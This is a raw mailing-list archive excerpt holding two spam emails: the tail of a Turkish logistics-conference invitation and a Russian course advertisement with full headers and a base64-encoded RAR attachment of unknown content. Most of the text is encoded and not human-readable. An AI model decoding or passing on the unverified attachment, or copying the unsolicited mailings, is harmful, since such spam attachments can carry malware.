=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- İbrahim Bektaş= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09// Netlog=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Lojistik Grubu=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Genel M=C3=BCd=C3=BCr=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Sistem=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Geliştirme
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Enver Burak=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Kor=C3=A7ak // TRSIM=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09M=C3=BChendislik=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Ltd.Şti Kurucu=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Ortağı
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Oru=C3=A7 Kaya //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09O2 Lojistik=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Başkanı
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- =C3=96zg=C3=BCr G=C3=BCze= y //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09CHEP T=C3=BCrkiye=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Genel M=C3=BCd=C3=BCr=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Yardımcısı =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Deniz Ozan=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=C3=96zg=C3=B6ren // OGL= 04;=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09e Solution=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Platform =20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Direkt=C3=B6r=C3=BC
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09- Murat=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09G=C3=BCvent=C3=BCrk //=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09SELCO Kurucu=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09Ortağı
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09=09=09

 

=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09 =09=09=09 =09=09=09=09 =09=09
=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09Kayıt Bilgileri: =09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09Katılım i=C3=A7in kayı= ;t formu=20 =09=09=09=09=09=09=09=09=09=09=09=09=09doldurulması ve banka=20 =09=09=09=09=09=09=09=09=09=09=09=09=09makbuzu ile tarafımıza=20 =09=09=09=09=09=09=09=09=09=09=09=09=09g=C3=B6nderilmesi gerekmektedir.=20 =09=09=09=09=09=09=09=09=09=09=09=09=09Programlarımız=20 =09=09=09=09=09=09=09=09=09=09=09=09=09kontenjanlarımızla=20 =09=09=09=09=09=09=09=09=09=09=09=09=09sınırlıdır
=09=09=09=09=09=09=09=09=09=09=09=09=090 216 422 9595 / 0 555 422=20 =09=09=09=09=09=09=09=09=09=09=09=09=099595
=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09Bosphorus Conferences<= /p> =09=09=09=09=09=09=09=09=09=09=09=09=09

 

=09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 =09=09=09=09=09=09=09=09=09=09=09=09=09Zirvelerin her birinin=20 =09=09=09=09=09=09=09=09=09=09=09=09=09katılım bedeli 750TL+KDV d= ir.=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=C3=96ğle yemekleri, ara=20 =09=09=09=09=09=09=09=09=09=09=09=09=09ikramlar, kokteyl, kongre=20 =09=09=09=09=09=09=09=09=09=09=09=09=09=C3=A7antaları, kitaplar ve t= =C3=BCm=20 =09=09=09=09=09=09=09=09=09=09=09=09=09d=C3=B6k=C3=BCmantasyon =C3=BCcrete= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09dahildir. Programlarımız= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09kontenjanlarımızla=20 =09=09=09=09=09=09=09=09=09=09=09=09=09sınırlıdır, Kay&= #305;t=20 =09=09=09=09=09=09=09=09=09=09=09=09=09işlemlerini web sayfamızda= n=20 =09=09=09=09=09=09=09=09=09=09=09=09=09online yapabilirsiniz,=20 =09=09=09=09=09=09=09=09=09=09=09=09=09Katılım bedelleri KDV hari= =C3=A7=20 =09=09=09=09=09=09=09=09=09=09=09=09=09tutarlardır. Grup İndirim= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09Oranları: Aynı Firmadan 3 = –=20 =09=09=09=09=09=09=09=09=09=09=09=09=096 Katılımda %5, Aynı= =20 =09=09=09=09=09=09=09=09=09=09=09=09=09Firmadan 6 ve =C3=BCzeri=20 =09=09=09=09=09=09=09=09=09=09=09=09=09katılımda %10 oran=20 =09=09=09=09=09=09=09=09=09=09=09=09=09uygulanmaktadır. Toplu=20 =09=09=09=09=09=09=09=09=09=09=09=09=09katılım ve sponsorluk=20 =09=09=09=09=09=09=09=09=09=09=09=09=09imkanlarından faydalanmak=20 =09=09=09=09=09=09=09=09=09=09=09=09=09i=C3=A7in l=C3=BCtfen arayın= 05;z. =09=09=09=09=09=09=09=09=09=09=09=09=09

=09=09=09=09=09=09=09=09=09=09=09=09=09 

=09=09=09=09=09=09=09=09=09=09=09=09=09
=09=09=09=09=09=09=09=09=09=09=09

 

  =09

 

=09=09=09

&nbs= p;

<= td width=3D"20" bgcolor=3D"#FFFFFF" style=3D"width:20px;"> <= td width=3D"20" bgcolor=3D"#FFFFFF" style=3D"width:20px;"> 
 
   
 Gönderilen e-posta xfs@oss.sgi.com Gönderen bosphorus@bogaziciegitim.org 
beynun akyavaş cad çengelköy, = ;istanbul, 80303, Turkey 
 Ben bu göndericiye izin vermedim, Rapor = vermek için tıklayın 
 3D"http://d.ss11= 
 
  
 
--93dcb088e3808d9cbe123c553716e636-- From leah@home.nl Tue Sep 3 05:17:19 2013 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 6271D7F54 for ; Tue, 3 Sep 2013 05:17:19 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 4307D8F804B for ; Tue, 3 Sep 2013 03:17:16 -0700 (PDT) X-ASG-Debug-ID: 1378203430-04cbb02c3bd06050001-NocioJ Received: from public8.ccs.ru (public8.ccs.ru [217.76.32.22]) by cuda.sgi.com with ESMTP id ORhvsA7OfcWWxqVL (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Tue, 03 Sep 2013 03:17:14 -0700 (PDT) X-Barracuda-Envelope-From: leah@home.nl X-Barracuda-Apparent-Source-IP: 217.76.32.22 Received: from [46.230.9.76] (helo=Unknown) by public8.ccs.ru with esmtpa (Exim 4.69) (envelope-from ) id 1VGnDG-0002qW-Ll; Tue, 03 Sep 2013 13:47:55 +0400 Message-ID: Reply-To: =?windows-1251?B?0fPk5eHt4P8g7/Dg6vLo6uAg7+4g4u7v8O7x?= =?windows-1251?B?4Owg7/Do7OXt5e3o/yDo8eru4u7pIOTg4u3u?= =?windows-1251?B?8fLoLiA=?= From: =?windows-1251?B?0fPk5eHt4P8g7/Dg6vLo6uAg7+4g4u7v8O7x?= =?windows-1251?B?4Owg7/Do7OXt5e3o/yDo8eru4u7pIOTg4u3u?= =?windows-1251?B?8fLoLiA=?= To: , , , Subject: =?windows-1251?B?zuHl8e/l9+jy5ev87eD/IOzl8OAh?= Date: Tue, 3 Sep 2013 12:15:15 +0200 X-ASG-Orig-Subj: =?windows-1251?B?zuHl8e/l9+jy5ev87eD/IOzl8OAh?= MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="----=_NextPart_000_1728_01CEA89F.3F45AB80" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Live Mail 14.0.8089.726 X-MimeOLE: Produced By Microsoft MimeOLE V14.0.8089.726 X-Barracuda-Connect: public8.ccs.ru[217.76.32.22] X-Barracuda-Start-Time: 1378203433 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.140206 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. ------=_NextPart_000_1728_01CEA89F.3F45AB80 Content-Type: multipart/alternative; boundary="----=_NextPart_001_1729_01CEA89F.3F45AB80" ------=_NextPart_001_1729_01CEA89F.3F45AB80 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =CF=F0=EE=E4=EE=EB=E6=E0=E5=F2=F1=FF =ED=E0=E1=EE=F0 =F3=F7=E0=F1=F2=ED=E8= =EA=EE=E2 =ED=E0 =CA=D3=D0=D1 =EF=EE =E8=F1=EA=EE=E2=EE=E9, =E4=EE=E3=EE=E2= =EE=F0=ED=EE=E9 =E8 =EF=F0=E5=F2=E5=ED=E7=E8=EE=ED=ED=EE=E9 =F0=E0=E1=EE=F2= =E5. =C7=E0=ED=FF=F2=E8=FF =ED=E0=F7=E8=ED=E0=FE=F2=F1=FF =F1 2=C7 =F1=E5=ED=F2= . 2=CEI=E7 =E3=EE=E4=E0 =E2 =F1=E0=EC=EE=EC =F6=E5=ED=F2=F0=E5 =D1=CF=E1. =CA=F0=E0=F2=EA=E8=E9 =EF=E5=F0=E5=F7=E5=ED=FC =F2=E5=EC: - =CF=EE=F1=EB=E5=E4=ED=FF=FF =F1=F3=E4=E5=E1=ED=E0=FF =EF=F0=E0=EA=F2=E8= =EA=E0 =EF=EE =E2=EE=EF=F0=EE=F1=E0=EC =EF=F0=E8=EC=E5=ED=E5=ED=E8=FF =E8= =F1=EA=EE=E2=EE=E9 =E4=E0=E2=ED=EE=F1=F2=E8; - =CF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =EF=F0=EE=E1=EB=E5=EC=FB =EE=F2=EF= =F0=E0=E2=EB=E5=ED=E8=FF =E8 =E4=EE=F1=F2=E0=E2=EA=E8 =EF=F0=E5=F2=E5=ED=E7= =E8=E9; - =CF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =E2=EE=EF=F0=EE=F1=FB =EF=F0=E8=EC= =E5=ED=E5=ED=E8=FF =EF=F0=EE=F2=EE=EA=EE=EB=EE=E2 =F0=E0=E7=ED=EE=E3=EB=E0= =F1=E8=FF; - =CE=F4=EE=F0=EC=EB=E5=ED=E8=E5 =E4=EE=E3=EE=E2=EE=F0=EE=E2 =E1=E5=E7 =EE= =F8=E8=E1=EE=EA: =F1=F3=F9=E5=F1=F2=E2=E5=ED=ED=FB=E5 =F3=F1=EB=EE=E2=E8=FF= , =E4=E5=EB=EE=EF=F0=EE=E8=E7=E2=EE=E4=F1=F2=E2=EE, =E4=EE=EF=EE=EB=ED=E5= =ED=E8=FF =E8 =EF=F0=E8=EB=EE=E6=E5=ED=E8=FF; - =CD=E0=F0=F3=F8=E5=ED=E8=E5 =E4=EE=E3=EE=E2=EE=F0=ED=FB=F5 =F3=F1=EB=EE= =E2=E8=E9; - =CF=F0=EE=F2=E8=E2=EE=E4=E5=E9=F1=F2=E2=E8=E5 =EC=EE=F8=E5=ED=ED=E8=F7=E5= =F1=EA=E8=EC =E4=E5=E9=F1=F2=E2=E8=FF=EC =ED=E5=E4=EE=E1=F0=EE=F1=EE=E2=E5= =F1=F2=ED=FB=F5 =EA=EE=ED=F2=F0=E0=E3=E5=ED=F2=EE=E2; - =CC=E5=F2=EE=E4=E8=EA=E8 =FE=F0=E8=E4=E8=F7=E5=F1=EA=EE=E9 =EF=F0=EE=E2= =E5=F0=EA=E8 =EA=EE=ED=F2=F0=E0=E3=E5=ED=F2=EE=E2; - =CF=F0=E0=E2=EE=E2=FB=E5 =EC=E5=F5=E0=ED=E8=E7=EC=FB =E2=E7=FB=F1=EA=E0= =ED=E8=FF =E7=E0=E4=EE=EB=E6=E5=ED=ED=EE=F1=F2=E8; - =C2=E7=FB=F1=EA=E0=ED=E8=E5 =F3=E1=FB=F2=EA=EE=E2 =E7=E0 =ED=E0=F0=F3=F8= =E5=ED=E8=E5; - =CF=EE=E4=E3=EE=F2=EE=E2=EA=E0 =E8=F1=EA=EE=E2=FB=F5 =EC=E0=F2=E5=F0=E8= =E0=EB=EE=E2 =E8 =F1=F3=E4=EE=EF=F0=EE=E8=E7=E2=EE=E4=F1=F2=E2=EE; =D0=E0=F1=EF=E8=F1=E0=ED=E8=E5, =E0 =F2=E0=EA=E6=E5 =EF=EE=EB=ED=FB=E9 =F1= =EF=E8=F1=EE=EA =F2=E5=EC =C2=FB =EC=EE=E6=E5=F2=E5 =F3=E7=ED=E0=F2=FC =F3= =ED=E0=F8=E5=E3=EE =F1=E5=EA=F0=E5=F2=E0=F0=FF =E2 =D1=CF=C1: 8 ( = 8I2 ) 64__2 . 5O .. 9I ------=_NextPart_001_1729_01CEA89F.3F45AB80 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable

=CF=F0=EE=E4=EE=EB=E6=E0=E5=F2=F1=FF =ED=E0=E1=EE=F0 =F3=F7=E0=F1=F2=ED= =E8=EA=EE=E2 =ED=E0 =CA=D3=D0=D1 =EF=EE =E8=F1=EA=EE=E2=EE=E9, =E4=EE=E3=EE= =E2=EE=F0=ED=EE=E9 =E8 =EF=F0=E5=F2=E5=ED=E7=E8=EE=ED=ED=EE=E9 =F0=E0=E1=EE= =F2=E5.

=C7=E0=ED=FF=F2=E8=FF =ED=E0=F7=E8=ED=E0=FE= =F2=F1=FF =F1 2=C7 =F1=E5=ED=F2. 2=CEI=E7 =E3=EE=E4=E0 =E2 =F1=E0=EC=EE=EC= =F6=E5=ED=F2=F0=E5 =D1=CF=E1.

=

=CA=F0=E0=F2=EA=E8=E9 =EF=E5=F0= =E5=F7=E5=ED=FC =F2=E5=EC:
- =CF=EE=F1=EB=E5=E4=ED=FF=FF =F1= =F3=E4=E5=E1=ED=E0=FF =EF=F0=E0=EA=F2=E8=EA=E0 =EF=EE =E2=EE=EF=F0=EE=F1=E0= =EC =EF=F0=E8=EC=E5=ED=E5=ED=E8=FF =E8=F1=EA=EE=E2=EE=E9 =E4=E0=E2=ED=EE=F1= =F2=E8;
- =CF=F0=E0=EA=F2=E8=F7=E5=F1=EA=E8=E5 =EF=F0=EE=E1=EB= =E5=EC=FB =EE=F2=EF=F0=E0=E2=EB=E5=ED=E8=FF =E8 =E4=EE=F1=F2=E0=E2=EA=E8 = =EF=F0=E5=F2=E5=ED=E7=E8=E9;
- =CF=F0=E0=EA=F2=E8=F7=E5=F1=EA= =E8=E5 =E2=EE=EF=F0=EE=F1=FB =EF=F0=E8=EC=E5=ED=E5=ED=E8=FF =EF=F0=EE=F2=EE= =EA=EE=EB=EE=E2 =F0=E0=E7=ED=EE=E3=EB=E0=F1=E8=FF;
- =CE=F4=EE= =F0=EC=EB=E5=ED=E8=E5 =E4=EE=E3=EE=E2=EE=F0=EE=E2 =E1=E5=E7 =EE=F8=E8=E1=EE= =EA: =F1=F3=F9=E5=F1=F2=E2=E5=ED=ED=FB=E5 =F3=F1=EB=EE=E2=E8=FF, =E4=E5=EB= =EE=EF=F0=EE=E8=E7=E2=EE=E4=F1=F2=E2=EE, =E4=EE=EF=EE=EB=ED=E5=ED=E8=FF =E8= =EF=F0=E8=EB=EE=E6=E5=ED=E8=FF;
- =CD=E0=F0=F3=F8=E5=ED=E8=E5= =E4=EE=E3=EE=E2=EE=F0=ED=FB=F5 =F3=F1=EB=EE=E2=E8=E9;
- =CF= =F0=EE=F2=E8=E2=EE=E4=E5=E9=F1=F2=E2=E8=E5 =EC=EE=F8=E5=ED=ED=E8=F7=E5=F1= =EA=E8=EC =E4=E5=E9=F1=F2=E2=E8=FF=EC =ED=E5=E4=EE=E1=F0=EE=F1=EE=E2=E5=F1= =F2=ED=FB=F5 =EA=EE=ED=F2=F0=E0=E3=E5=ED=F2=EE=E2;
- =CC=E5=F2= =EE=E4=E8=EA=E8 =FE=F0=E8=E4=E8=F7=E5=F1=EA=EE=E9 =EF=F0=EE=E2=E5=F0=EA=E8= =EA=EE=ED=F2=F0=E0=E3=E5=ED=F2=EE=E2;
- =CF=F0=E0=E2=EE=E2=FB= =E5 =EC=E5=F5=E0=ED=E8=E7=EC=FB =E2=E7=FB=F1=EA=E0=ED=E8=FF =E7=E0=E4=EE=EB= =E6=E5=ED=ED=EE=F1=F2=E8;
- =C2=E7=FB=F1=EA=E0=ED=E8=E5 =F3=E1= =FB=F2=EA=EE=E2 =E7=E0 =ED=E0=F0=F3=F8=E5=ED=E8=E5;
- =CF=EE= =E4=E3=EE=F2=EE=E2=EA=E0 =E8=F1=EA=EE=E2=FB=F5 =EC=E0=F2=E5=F0=E8=E0=EB=EE= =E2 =E8 =F1=F3=E4=EE=EF=F0=EE=E8=E7=E2=EE=E4=F1=F2=E2=EE;

=
=D0=E0=F1=EF=E8=F1=E0=ED=E8=E5, =E0 =F2=E0=EA=E6=E5 =EF=EE=EB=ED=FB= =E9 =F1=EF=E8=F1=EE=EA =F2=E5=EC =C2=FB =EC=EE=E6=E5=F2=E5 =F3=E7=ED=E0=F2= =FC =F3 =ED=E0=F8=E5=E3=EE =F1=E5=EA=F0=E5=F2=E0=F0=FF =E2 =D1=CF=C1: = 8 ( 8I2 ) 64__2 . 5O .. 9I

------=_NextPart_001_1729_01CEA89F.3F45AB80-- ------=_NextPart_000_1728_01CEA89F.3F45AB80 Content-Type: application/octet-stream; name="kratkaya_prog.rar" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="kratkaya_prog.rar" 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 